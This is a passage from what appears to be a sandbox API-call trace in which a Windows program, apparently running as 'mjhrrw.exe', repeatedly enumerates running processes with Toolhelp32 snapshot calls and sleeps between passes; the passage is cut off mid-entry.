th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0226.937] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0226.937] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0226.939] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.940] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0226.941] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0226.941] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0226.942] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0226.942] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0226.949] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0226.949] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0226.950] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0226.950] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0226.951] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0226.951] CloseHandle (hObject=0x37c) returned 1 [0226.951] Sleep (dwMilliseconds=0x1f4) [0227.572] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0227.577] Process32FirstW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.577] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0227.578] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0227.578] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0227.579] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0227.579] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0227.580] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0227.581] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0227.582] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0227.582] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0227.583] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0227.583] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.584] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.584] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0227.585] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.585] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.586] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.587] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.587] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.588] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.588] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.589] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.589] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.590] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.590] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0227.591] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.592] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0227.592] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0227.593] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0227.593] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0227.594] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0227.594] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.595] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0227.596] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0227.601] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0227.602] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0227.603] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0227.603] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0227.604] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0227.604] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0227.605] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0227.606] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0227.606] CloseHandle (hObject=0x358) returned 1 [0227.606] Sleep (dwMilliseconds=0x1f4) [0228.427] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0228.432] Process32FirstW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.433] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0228.433] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0228.434] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.434] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0228.435] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.440] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0228.440] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0228.441] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0228.441] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0228.442] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0228.443] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.443] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.444] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0228.445] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.445] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.446] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.446] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.447] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.447] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.448] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.448] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.449] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.449] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.450] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0228.451] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.451] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0228.452] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, 